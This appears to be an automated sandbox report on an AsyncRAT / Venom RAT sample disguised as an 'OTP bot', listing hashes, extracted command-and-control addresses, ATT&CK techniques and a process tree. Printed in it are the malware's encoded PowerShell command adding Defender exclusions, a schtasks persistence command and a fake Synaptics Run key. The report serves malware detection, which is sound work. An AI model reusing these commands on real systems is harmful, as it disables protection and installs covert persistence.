asyncrat | 6b21c5b53198967f49dda5d8b79e06bfd1ac72ca4c362bbdbc7a58cf2a5de9af

Analysis

max time kernel
142s
max time network
147s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
17-07-2024 10:13

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General

Target

OTPBOT.exe
Size

16.7MB
MD5

d76d4061a38546dda1d9748588b75f18
SHA1

adbcd8ada656dddd3809bdd8061f59fbb53351bd
SHA256

7c833f195a6be1c64c85cca8f227f0226726609bc564f9577ef81924aa99c1b4
SHA512

f4cdfe95be590c55fd32fcaf711961ab67fcee8dcceeb44bf8cb4e6e2208b207073ba7a329a843ac1d63d5f5a2d8fae78dc2043afc4b2829757246c05eff7fb1
SSDEEP

393216:Ib7D+eNMC7Z61Kqm/1MpfnZ0ZjupISFOxcyUVBWABkgr0:U/mCNoZm9ML05ualxc0E

Score

10^/10

asyncrat default execution persistence pyinstaller rat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

10.0.2.15:9090

10.0.2.15:52033

147.185.221.19:9090

147.185.221.19:52033

Mutex

wbrjnemduvixdculy

Attributes

delay
1
install
true
install_file
steam.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x0009000000016140-91.dat	family_asyncrat

Executes dropped EXE 8 IoCs

pid	Process
2752	._cache_OTPBOT.exe
2708	Synaptics.exe
3016	._cache_Synaptics.exe
2908	OTP_BOT.exe
2504	NOBLOCKTM.exe
316	._cache_NOBLOCKTM.exe
2348	OTP_BOT.exe
1908	steam.exe

Loads dropped DLL 11 IoCs

pid	Process
2180	OTPBOT.exe
2180	OTPBOT.exe
2180	OTPBOT.exe
2708	Synaptics.exe
2708	Synaptics.exe
2752	._cache_OTPBOT.exe
1792	Process not Found
2504	NOBLOCKTM.exe
2504	NOBLOCKTM.exe
2908	OTP_BOT.exe
2348	OTP_BOT.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver = "C:\\ProgramData\\Synaptics\\Synaptics.exe"	OTPBOT.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
592	powershell.exe
1156	powershell.exe

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x0034000000015d87-52.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1540	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2848	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
1156	powershell.exe
592	powershell.exe
316	._cache_NOBLOCKTM.exe
316	._cache_NOBLOCKTM.exe
316	._cache_NOBLOCKTM.exe
1908	steam.exe
1908	steam.exe
1908	steam.exe
1908	steam.exe
1908	steam.exe
1908	steam.exe
1908	steam.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1156	powershell.exe
Token: SeDebugPrivilege	592	powershell.exe
Token: SeDebugPrivilege	316	._cache_NOBLOCKTM.exe
Token: SeDebugPrivilege	1908	steam.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1908	steam.exe

Suspicious use of WriteProcessMemory 50 IoCs

description	pid	Process	procid_target
PID 2180 wrote to memory of 2752	2180	OTPBOT.exe	30
PID 2180 wrote to memory of 2752	2180	OTPBOT.exe	30
PID 2180 wrote to memory of 2752	2180	OTPBOT.exe	30
PID 2180 wrote to memory of 2752	2180	OTPBOT.exe	30
PID 2180 wrote to memory of 2708	2180	OTPBOT.exe	31
PID 2180 wrote to memory of 2708	2180	OTPBOT.exe	31
PID 2180 wrote to memory of 2708	2180	OTPBOT.exe	31
PID 2180 wrote to memory of 2708	2180	OTPBOT.exe	31
PID 2708 wrote to memory of 3016	2708	Synaptics.exe	32
PID 2708 wrote to memory of 3016	2708	Synaptics.exe	32
PID 2708 wrote to memory of 3016	2708	Synaptics.exe	32
PID 2708 wrote to memory of 3016	2708	Synaptics.exe	32
PID 2752 wrote to memory of 592	2752	._cache_OTPBOT.exe	33
PID 2752 wrote to memory of 592	2752	._cache_OTPBOT.exe	33
PID 2752 wrote to memory of 592	2752	._cache_OTPBOT.exe	33
PID 3016 wrote to memory of 1156	3016	._cache_Synaptics.exe	35
PID 3016 wrote to memory of 1156	3016	._cache_Synaptics.exe	35
PID 3016 wrote to memory of 1156	3016	._cache_Synaptics.exe	35
PID 2752 wrote to memory of 2908	2752	._cache_OTPBOT.exe	37
PID 2752 wrote to memory of 2908	2752	._cache_OTPBOT.exe	37
PID 2752 wrote to memory of 2908	2752	._cache_OTPBOT.exe	37
PID 2752 wrote to memory of 2504	2752	._cache_OTPBOT.exe	38
PID 2752 wrote to memory of 2504	2752	._cache_OTPBOT.exe	38
PID 2752 wrote to memory of 2504	2752	._cache_OTPBOT.exe	38
PID 2752 wrote to memory of 2504	2752	._cache_OTPBOT.exe	38
PID 2504 wrote to memory of 316	2504	NOBLOCKTM.exe	40
PID 2504 wrote to memory of 316	2504	NOBLOCKTM.exe	40
PID 2504 wrote to memory of 316	2504	NOBLOCKTM.exe	40
PID 2504 wrote to memory of 316	2504	NOBLOCKTM.exe	40
PID 2908 wrote to memory of 2348	2908	OTP_BOT.exe	41
PID 2908 wrote to memory of 2348	2908	OTP_BOT.exe	41
PID 2908 wrote to memory of 2348	2908	OTP_BOT.exe	41
PID 3016 wrote to memory of 684	3016	._cache_Synaptics.exe	42
PID 3016 wrote to memory of 684	3016	._cache_Synaptics.exe	42
PID 3016 wrote to memory of 684	3016	._cache_Synaptics.exe	42
PID 316 wrote to memory of 2164	316	._cache_NOBLOCKTM.exe	43
PID 316 wrote to memory of 2164	316	._cache_NOBLOCKTM.exe	43
PID 316 wrote to memory of 2164	316	._cache_NOBLOCKTM.exe	43
PID 316 wrote to memory of 1140	316	._cache_NOBLOCKTM.exe	45
PID 316 wrote to memory of 1140	316	._cache_NOBLOCKTM.exe	45
PID 316 wrote to memory of 1140	316	._cache_NOBLOCKTM.exe	45
PID 2164 wrote to memory of 2848	2164	cmd.exe	47
PID 2164 wrote to memory of 2848	2164	cmd.exe	47
PID 2164 wrote to memory of 2848	2164	cmd.exe	47
PID 1140 wrote to memory of 1540	1140	cmd.exe	48
PID 1140 wrote to memory of 1540	1140	cmd.exe	48
PID 1140 wrote to memory of 1540	1140	cmd.exe	48
PID 1140 wrote to memory of 1908	1140	cmd.exe	50
PID 1140 wrote to memory of 1908	1140	cmd.exe	50
PID 1140 wrote to memory of 1908	1140	cmd.exe	50

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\OTPBOT.exe
"C:\Users\Admin\AppData\Local\Temp\OTPBOT.exe"
1⤵
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2180
- C:\Users\Admin\AppData\Local\Temp\._cache_OTPBOT.exe
  "C:\Users\Admin\AppData\Local\Temp\._cache_OTPBOT.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2752
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AcgB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHcAeQB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AbQBtACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHYAYgBhACMAPgA="
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:592
- - C:\Users\Admin\AppData\Local\Temp\OTP_BOT.exe
    "C:\Users\Admin\AppData\Local\Temp\OTP_BOT.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2908
  - - C:\Users\Admin\AppData\Local\Temp\OTP_BOT.exe
      "C:\Users\Admin\AppData\Local\Temp\OTP_BOT.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2348
- - C:\Users\Admin\AppData\Local\Temp\NOBLOCKTM.exe
    "C:\Users\Admin\AppData\Local\Temp\NOBLOCKTM.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2504
  - - C:\Users\Admin\AppData\Local\Temp\._cache_NOBLOCKTM.exe
      "C:\Users\Admin\AppData\Local\Temp\._cache_NOBLOCKTM.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:316
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "steam" /tr '"C:\Users\Admin\AppData\Roaming\steam.exe"' & exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2164
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "steam" /tr '"C:\Users\Admin\AppData\Roaming\steam.exe"'
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2848
    - - C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp7E63.tmp.bat""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1140
      - C:\Windows\system32\timeout.exe
        
        timeout 3
        6⤵
        Delays execution with timeout.exe
        
        PID:1540
      - C:\Users\Admin\AppData\Roaming\steam.exe
        
        "C:\Users\Admin\AppData\Roaming\steam.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:1908
- C:\ProgramData\Synaptics\Synaptics.exe
  "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
    "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3016
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AcgB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHcAeQB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AbQBtACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHYAYgBhACMAPgA="
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1156
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3016 -s 856
      4⤵
      PID:684

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\Synaptics\Synaptics.exe

Filesize
16.7MB

MD5
d76d4061a38546dda1d9748588b75f18

SHA1
adbcd8ada656dddd3809bdd8061f59fbb53351bd

SHA256
7c833f195a6be1c64c85cca8f227f0226726609bc564f9577ef81924aa99c1b4

SHA512
f4cdfe95be590c55fd32fcaf711961ab67fcee8dcceeb44bf8cb4e6e2208b207073ba7a329a843ac1d63d5f5a2d8fae78dc2043afc4b2829757246c05eff7fb1

Download Submit
C:\Users\Admin\AppData\Local\Temp\OTP_BOT.exe

Filesize
15.2MB

MD5
05e130106948344f7104d92044431ef6

SHA1
daaf32ffdbddc8129ff563f279ea24422c706ec3

SHA256
a2f3bae44a9bf5b85db8f1fbfabfad377b1f31cc151ee9a2ac6d824bb4d5c09e

SHA512
431f804f00a2d6e191b4a0592fddd7731fa8bc47a39b277e037f65d6566a1dd0a83e854ecea3b3de77704e0fd975d5a2371c7ed189dfa3eefc9ebab3f6f67634

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp7E63.tmp.bat

Filesize
149B

MD5
6b908435d6681f15efad8ea6e8ea402a

SHA1
2d06f08fae6491e2997e5147219203f483245a05

SHA256
8bd8610a5e9423f48103b4e7c5394f92dd0add24e3432d392b535d92bc808c31

SHA512
6af4e5f953ed0ce575070b5fbf546bafa2aa68e678f023a94875284e3e0506af2f87af14f2f1c1c688003aebe91e5fcbe195c68517116fc3ea7f15d93c53dbbc

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ABIQDWYYOTJ61BLQV6UB.temp

Filesize
7KB

MD5
a78407468cf16e47af341c87974506fb

SHA1
a85f3c2cda870e40c784dfd8913f8280b9184182

SHA256
13f2666cc8211480ead7800286e4f594ed890fbac767869a48117da8500121b0

SHA512
c1a371c02a9a000075e139f75df2c6d98a1268b1d59e0a7728a294aa4e3c7843ee4f7383cf79461fe3162d2b044058076757f22d737fc485abefff744908a2e7

Download Submit
C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf

Filesize
8B

MD5
cf759e4c5f14fe3eec41b87ed756cea8

SHA1
c27c796bb3c2fac929359563676f4ba1ffada1f5

SHA256
c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761

SHA512
c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

Download Submit
\Users\Admin\AppData\Local\Temp\._cache_NOBLOCKTM.exe

Filesize
74KB

MD5
20b0761336c5b0811ebfd3ce052a065a

SHA1
028760051e74205d80253152ba9d638537536a3d

SHA256
db35164ac870bfdde1f5883ad6156ce6e6e9b09d673813432f292aeddfc0c2f2

SHA512
edef14c446a7750fabeccb27165e99b7ee194b5433a078e137c9f0d3d9a61fd0c88036283adb04b9e19d2c7f65365ff91e52a1f7d90431d5137ca6bfdc932d96

Download Submit
\Users\Admin\AppData\Local\Temp\._cache_OTPBOT.exe

Filesize
16.0MB

MD5
e42b1ae9636a7f13d6cda41da36604bf

SHA1
0f54c779d595f8ceaa8aff579b90de40824f5b9b

SHA256
6eead15ccfccb3f580f87df6545909ce1ab70544837d0ad8385787a674b5f974

SHA512
235cd965cb26f7c22296bf1759c9335e8244f6021e0df7dc9f362a9160ac03121eea54fbedefbc5a10dd9a65811c22a24d0c1b6384e62b2b460bdbee8e64bfa6

Download Submit
\Users\Admin\AppData\Local\Temp\NOBLOCKTM.exe

Filesize
828KB

MD5
a1b498723fda03e583ef35e2c1a90d3e

SHA1
cbc749bf7d6fcc9266c6e794fc94009f1f6ca448

SHA256
23292a648da1e75a5e3c8fb8c540aab8e62060fc0a207305c9e52a27710ea360

SHA512
0456d1ebdc37ec89c733026d5fa77e272bcfb4da35b29cd294a34748c9b83fe2eb31014a7b5a1a33205a478204ca801f83e84688abc76e275a6bdbe1cb03aa4a

Download Submit
\Users\Admin\AppData\Local\Temp\_MEI29082\python311.dll

Filesize
5.5MB

MD5
e2bd5ae53427f193b42d64b8e9bf1943

SHA1
7c317aad8e2b24c08d3b8b3fba16dd537411727f

SHA256
c4844b05e3a936b130adedb854d3c04d49ee54edb43e9d36f8c4ae94ccb78400

SHA512
ae23a6707e539c619fd5c5b4fc6e4734edc91f89ebe024d25ff2a70168da6105ac0bd47cf6bf3715af6411963caf0acbb4632464e1619ca6361abf53adfe7036

Download Submit
memory/316-122-0x0000000000C40000-0x0000000000C58000-memory.dmp

Filesize
96KB

Download
memory/1156-47-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/1156-46-0x000000001B7B0000-0x000000001BA92000-memory.dmp

Filesize
2.9MB

Download
memory/1908-138-0x0000000000D70000-0x0000000000D88000-memory.dmp

Filesize
96KB

Download
memory/2180-0-0x0000000000220000-0x0000000000221000-memory.dmp

Filesize
4KB

Download
memory/2180-25-0x0000000000400000-0x00000000014C4000-memory.dmp

Filesize
16.8MB

Download
memory/2504-100-0x0000000000400000-0x00000000004D5000-memory.dmp

Filesize
852KB

Download
memory/2708-134-0x0000000000400000-0x00000000014C4000-memory.dmp

Filesize
16.8MB

Download
memory/2708-140-0x0000000000400000-0x00000000014C4000-memory.dmp

Filesize
16.8MB

Download
memory/2708-174-0x0000000000400000-0x00000000014C4000-memory.dmp

Filesize
16.8MB

Download
memory/2752-28-0x0000000000D60000-0x0000000001D6A000-memory.dmp

Filesize
16.0MB

Download
memory/3016-36-0x0000000000210000-0x000000000121A000-memory.dmp

Filesize
16.0MB

Download